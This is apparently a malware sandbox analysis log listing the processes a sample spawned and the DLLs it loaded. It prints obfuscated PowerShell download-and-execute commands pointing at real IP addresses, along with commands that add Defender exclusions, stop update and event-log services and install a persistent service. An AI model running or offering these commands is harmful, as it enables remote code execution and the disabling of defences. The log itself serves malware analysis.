                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\LB311.exe "C:\Users\user\AppData\Roaming\LB311.exe"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //E:VBScript C:\Users\Public\0x1.log //Nologo
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                      Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                      Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                      Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
                      Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: unknownProcess created: C:\ProgramData\Mig\Mig.exe C:\ProgramData\Mig\Mig.exe
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/L.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/x/M.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://85.28.47.8/S.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdnsJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x1.logJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdnsJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdnsJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\Jump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\LB311.exe "C:\Users\user\AppData\Roaming\LB311.exe" Jump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h C:\Users\Public\0x1.logJump to behavior
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LIB"
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
                      Source: C:\Users\user\AppData\Roaming\LB311.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "LIB"
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://176.113.115.177/x/5.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
                      Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: msvbvm60.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: vb6zz.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: sxs.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: mpr.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: scrrun.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: version.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Users\user\Desktop\file.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sxs.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mshtml.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: powrprof.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wkscli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msiso.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ieframe.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netapi32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: jscript9.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: d2d1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dwrite.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dxgi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: resourcepolicyclient.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: d3d11.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: d3d10warp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dxcore.dllJump to behavior
